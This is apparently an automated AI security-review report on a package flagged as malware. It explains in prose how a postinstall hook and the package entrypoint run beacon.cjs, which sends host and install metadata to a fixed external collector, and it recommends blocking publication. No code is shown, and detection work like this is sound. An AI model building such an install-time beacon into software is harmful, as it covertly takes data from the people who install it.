AI Security Review
scanned 43m ago · by lpm-firewall-aiSource confirms an unconsented install-time disclosure of host and installation identifiers to a fixed unrelated collector. This is concrete malicious behavior, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
Installation and host identifiers are disclosed to an unrelated fixed collector without an effective consent gate.
Mechanism
A lifecycle script and the entrypoint call beacon.cjs, which posts hostname, install path, working directory, and runtime metadata.
Attack narrative
The automatic postinstall hook and package entrypoint send host and installation metadata to a fixed external HTTP collector. The source shows no consent gate for either activation path.
AI rationale
Source confirms an unconsented install-time disclosure of host and installation identifiers to a fixed unrelated collector. This is concrete malicious behavior, so publication should be blocked.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block

- beacon.cjs sends a POST to a fixed external HTTP endpoint.
- The request payload includes hostname, install path, working directory, and npm/runtime metadata.
- Importing index.js also invokes the beacon.
